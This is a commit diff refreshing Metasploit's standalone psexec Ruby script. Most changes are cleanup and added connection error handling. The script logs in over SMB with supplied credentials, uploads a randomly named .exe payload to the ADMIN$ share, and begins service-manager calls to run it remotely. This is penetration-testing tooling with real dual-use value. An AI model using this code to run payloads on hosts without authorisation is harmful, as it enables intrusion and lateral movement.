refresh standalone psexec a bit

GSoC/Meterpreter_Web_Console
Brent Cook 2018-05-07 00:12:18 -05:00
parent 8463d94891
commit f12e106137
1 changed files with 8 additions and 32 deletions

View File

@ -30,20 +30,6 @@ require 'rex/encoder/ndr'
require 'rex/proto/smb/simpleclient'
# SMB constants from Rex
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
# Alias over the Rex DCERPC protocol modules
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
NDR = Rex::Encoder::NDR
def print_error(msg)
$stderr.puts "[-] #{msg}"
end
@ -102,27 +88,20 @@ opt_pass = ARGV.shift() || ""
opt_share = "ADMIN$"
opt_domain = "."
socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i })
begin
socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i })
rescue Rex::ConnectionRefused, Rex::HostUnreachable => e
print_error("Could not connect: #{e}")
exit(1)
end
simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445)
simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445, versions = [1, 2])
simple.login(
Rex::Text.rand_text_alpha(8),
opt_user,
opt_pass,
opt_domain
#datastore['SMB::VerifySignature'],
#datastore['NTLM::UseNTLMv2'],
#datastore['NTLM::UseNTLM2_session'],
#datastore['NTLM::SendLM'],
#datastore['NTLM::UseLMKey'],
#datastore['NTLM::SendNTLM'],
#datastore['SMB::Native_OS'],
#datastore['SMB::Native_LM'],
#{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
)
simple.connect("\\\\#{opt_host}\\IPC$")
@ -138,16 +117,12 @@ if (not simple.client.auth_user)
exit(1)
end
fname = Rex::Text.rand_text_alpha(8) + ".exe"
sname = Rex::Text.rand_text_alpha(8)
# Upload the payload to the share
print_status("Uploading payload...")
simple.connect(opt_share)
fd = simple.open("\\#{fname}", 'rwct', 500)
@ -177,6 +152,7 @@ print_status("Bound to #{handle} ...")
print_status("Obtaining a service manager handle...")
scm_handle = nil
NDR = Rex::Encoder::NDR
stubdata =
NDR.uwstring("\\\\#{opt_host}") +
NDR.long(0) +